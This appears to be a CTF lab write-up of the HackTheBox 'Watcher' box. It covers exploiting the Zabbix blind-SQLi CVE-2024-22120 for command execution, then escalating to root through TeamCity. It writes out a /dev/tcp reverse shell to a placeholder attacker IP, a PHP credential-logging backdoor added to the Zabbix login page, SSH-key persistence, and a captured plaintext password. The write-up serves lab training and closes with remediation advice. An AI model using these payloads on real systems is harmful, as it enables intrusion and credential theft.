> For the complete documentation index, see [llms.txt](https://0xyogesh.gitbook.io/exploitnotes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xyogesh.gitbook.io/exploitnotes/writeups/hackthebox/watcher-writeup.md). Agents can also search and read this documentation through its [MCP server](https://0xyogesh.gitbook.io/exploitnotes/~gitbook/mcp).

# Watcher Writeup

## Summary

Watcher is a Linux box built around a self-hosted Zabbix monitoring stack.

The front door is a real Zabbix CVE, **CVE-2024-22120**: a time-based blind SQL injection in the audit log's `clientip` field. Even the read-only **guest** account can trigger it by running one of Zabbix's built-in diagnostic scripts, such as Ping, against a visible host. The injection can blind-extract Zabbix's internal session-signing key and then the **Admin** session ID through response timing, without credentials. From there, the same bug chains into command execution as the `zabbix` system user.

Once inside, rather than cracking a bcrypt hash from the database, the box demonstrates a credential-harvesting technique: patch Zabbix's login page to log future login attempts in plaintext, then use the Audit Log to identify a service account, `Frank`, that automatically logs in every minute. After one cycle, Frank's password is written to the capture file.

Frank's password is reused on a **TeamCity** instance bound to `localhost:8111`, reachable through an SSH tunnel. TeamCity's build agent **Open Terminal** feature runs as **root** on its host, making it an instant root shell.

### Key vulnerabilities

1. **CVE-2024-22120** — guest-level time-based blind SQLi in Zabbix's audit log `clientip` field → admin session theft → RCE as `zabbix`
2. World-writable/editable Zabbix frontend PHP → trivial credential-logging backdoor
3. Password reuse between Zabbix and TeamCity
4. TeamCity build agent terminal running as root → instant privilege escalation

## Recon

Standard nmap sweep:

```
nmap -A -Pn <TARGET_IP> -oA nmap

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13
80/tcp open  http    Apache httpd 2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://watcher.vl/
```

Only SSH and a web server are externally exposed. Port 80 redirects to `watcher.vl`, so add it to `/etc/hosts`.

Since virtual-host routing is in use, subdomain fuzzing identifies a second site:

```
ffuf -u http://<TARGET_IP> -H "Host: FUZZ.watcher.vl" \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -ac

zabbix [Status: 200, Size: 3946, Words: 199, Lines: 33, Duration: 162ms]
```

`watcher.vl` is a static uptime-monitoring company landing page. The actual target is `zabbix.watcher.vl`, which hosts a Zabbix login portal.

## Foothold: CVE-2024-22120

The login page permits signing in as guest, providing access to a read-only dashboard. The footer exposes the Zabbix version.

Relevant CVEs include:

* **CVE-2024-42327** — SQLi that leaks an API token, but requires an account with an API token; guest does not qualify.
* **CVE-2024-22116** — RCE requiring an authenticated administrator.
* **CVE-2024-22120** — a time-based blind SQL injection in the audit log.

When Zabbix executes a script against a host, it records the action in the Audit Log. The log's `clientip` field is not sanitized and can be injected. A guest user can trigger the vulnerable logging path simply by running a script.

### Triggering the vulnerable audit log entry

Under **Monitoring → Hosts**, guest can see one host. Select that host and run the **Ping** script.

Running Ping generates the vulnerable audit log entry used by the exploit.

### Required values

The exploit requires:

* The guest session ID, decoded from the `zbx_session` cookie:

  ```
  echo <cookie value> | base64 -d
  {"sessionid":"<guest_sessionid>", ...}
  ```
* A valid `scriptid` available to guest. Checking the script-menu response in browser developer tools or a proxy reveals that guest can use script IDs 1 and 2.
* The visible host's `hostid`, available in refresh requests from the Hosts page.

### Exploitation

A public PoC for the CVE handles the full chain:

```
git clone https://github.com/W01fh4cker/CVE-2024-22120-RCE
```

The script sends crafted trapper-protocol packets to port 10051, times responses to blind-extract Zabbix's internal session-signing key, extracts the **Admin** live session ID character by character, and uses the recovered session to execute arbitrary commands.

```
python3 CVE-2024-22120-RCE.py --ip zabbix.watcher.vl --sid <guest_sessionid> --hostid <hostid>

[zabbix_cmd]>>: id
uid=115(zabbix) gid=122(zabbix) groups=122(zabbix)
```

The blind extraction is slow, but it results in code execution as `zabbix` without needing a real password.

### Getting a proper shell

A foreground reverse shell causes the exploit script to hang because it waits for the command to return. Background the reverse shell with `&`:

```
[zabbix_cmd]>>: bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/443 0>&1' &
```

Start a listener:

```
nc -lnvp 443
zabbix@watcher:/$
```

## Post-Exploitation and Credential Harvesting

### Finding Zabbix-owned paths and users

```
find / -type d -user zabbix 2>/dev/null | grep -Ev '^/proc'
```

This confirms write access to the frontend PHP tree. There is only one real login user on the box besides `zabbix`.

### Database credentials and user hashes

Locate Zabbix's frontend database configuration:

```
find / -name "zabbix.conf.php" 2>/dev/null
/usr/share/zabbix/conf/zabbix.conf.php
```

```php
$DB['USER']     = 'zabbix';
$DB['PASSWORD'] = '<ZABBIX_DB_PASSWORD>';
```

Connect to MySQL and dump the users table:

```
mysql -h localhost -u zabbix -p<ZABBIX_DB_PASSWORD>
mysql> use zabbix;
mysql> select * from users;
+--------+----------+-------------------------------+--------+
| userid | username | passwd (bcrypt)               | roleid |
+--------+----------+-------------------------------+--------+
|      1 | Admin    | $2y$10$E9fS...                |      3 |
|      2 | guest    | $2y$10$89ot...                |      4 |
|      3 | Frank    | $2y$10$9WT5...                |      2 |
+--------+----------+-------------------------------+--------+
```

The hashes are bcrypt and do not crack against rockyou.

### Discovering TeamCity

```
ss -tulnp
LISTEN  0.0.0.0:10050    (zabbix_agentd)
LISTEN  0.0.0.0:10051    (zabbix trapper)
LISTEN  127.0.0.1:8111
LISTEN  127.0.0.1:3306   (MySQL)
```

Ports 10050 and 10051 are reachable locally but were not externally exposed. Port `8111` is noteworthy:

```
curl -v localhost:8111
< HTTP/1.1 401
< WWW-Authenticate: Basic realm="TeamCity"
< WWW-Authenticate: Bearer realm="TeamCity"
Authentication required
To login manually go to "/login.html" page
```

This is TeamCity, bound to localhost. Running processes confirm TeamCity and its build agent run as **root**.

To browse it externally, add an SSH key to `zabbix`'s `authorized_keys`. The account has `/nologin`, preventing interactive login, but port forwarding still works:

```
mkdir /var/lib/zabbix/.ssh
echo "ssh-ed25519 AAAA...<snipped>... nobody@nothing" > /var/lib/zabbix/.ssh/authorized_keys
chmod 700 /var/lib/zabbix/.ssh
chmod 600 /var/lib/zabbix/.ssh/authorized_keys
```

Create a tunnel:

```
ssh -i <private_key> zabbix@watcher.vl -N -L 8111:localhost:8111
```

The TeamCity login page is then available at `http://localhost:8111`, but credentials are still needed.

### Restoring Zabbix Admin access

Since the bcrypt hashes do not crack, reset the Zabbix Admin password through the existing database access, following [Zabbix Docs: Password reset](https://www.zabbix.com/documentation/current/en/manual/web_interface/password_reset):

```
mysql> UPDATE users SET passwd = '<bcrypt_hash_for_known_password>' WHERE username = 'Admin';
```

Log in as `Admin` using the known password.

### Backdooring the Zabbix login page

The Audit Log shows that `Frank` authenticates from `127.0.0.1` once per minute, indicating an automated health-check or keepalive process.

Since `zabbix` owns the frontend files, patch `index.php` to log submitted usernames and passwords before continuing the normal login flow:

```php
if (hasRequest('enter') && CWebUser::login(getRequest('name', ZBX_GUEST_USER), getRequest('password', ''))) {
    $user = $_POST['name'] ?? '??';
    $password = $_POST['password'] ?? '??';
    $f = fopen('/tmp/evil.txt', 'a+');
    fputs($f, "{$user}:{$password}\n");
    fclose($f);
```

The login process continues normally, while credentials are written in plaintext.

### Capturing Frank's password

After waiting approximately 60 seconds:

```
cat /tmp/evil.txt
Frank:R%)3S7^Hf4TBobb(gVVs
```

## Privilege Escalation: TeamCity Build Agent to root

Use Frank's harvested Zabbix password at the tunneled TeamCity login page:

```
http://localhost:8111/login.html
Username: Frank
Password: R%)3S7^Hf4TBobb(gVVs
```

Frank's password is reused and his TeamCity account has full administrative access.

Navigate to **Agents → Default Agent → Open Terminal**. The TeamCity build agent runs as root, and its integrated terminal provides a root shell:

```
root
# pwd
/root/TeamCity/buildAgent/bin
# cd /root
# ls
TeamCity  root.txt  scripts  snap
# cat root.txt
<REDACTED>
```

## Attack Chain

```
Nmap scan (22/tcp SSH, 80/tcp HTTP)
  └─ vhost fuzzing (ffuf) → zabbix.watcher.vl discovered
       └─ Zabbix guest login enabled → version fingerprinted
            └─ CVE-2024-22120: click host → run "Ping" script → triggers vulnerable audit-log entry
                 └─ Time-based blind SQLi on `clientip` → leak session-signing key → leak Admin's live session ID
                      └─ Reuse same bug to authorize arbitrary script execution → RCE as `zabbix`
                           ├─ find conf files → zabbix.conf.php → MySQL creds → dump `users` table (bcrypt, uncracked)
                           ├─ ss -tulnp → 10050/10051 (local agent/trapper) + root-owned TeamCity on 127.0.0.1:8111 → curl confirms TeamCity
                           ├─ Drop SSH key into zabbix's authorized_keys → tunnel 8111 for browser access
                           ├─ Reset Admin's password directly via MySQL UPDATE
                           └─ Backdoor index.php login handler → log creds to /tmp/evil.txt
                                └─ Audit Log shows Frank auto-logging in every 60s
                                     └─ Capture Frank's plaintext password
                                          └─ Log into TeamCity as Frank (password reuse, admin rights)
                                               └─ Agents → Default Agent → Open Terminal (runs as root)
                                                    └─ root shell → cat /root/root.txt
```

## Remediation

* Patch Zabbix to a version fixed for CVE-2024-22120, CVE-2024-42327, and CVE-2024-22116.
* Disable the guest account unless it is strictly necessary.
* Restrict permissions on the Zabbix frontend so the web-server user cannot rewrite PHP source files.
* Never reuse passwords across Zabbix and TeamCity.
* Restrict TeamCity's build-agent terminal feature, and do not run the agent process as root.
* Rotate service-account credentials regularly and never log plaintext credentials, even temporarily.
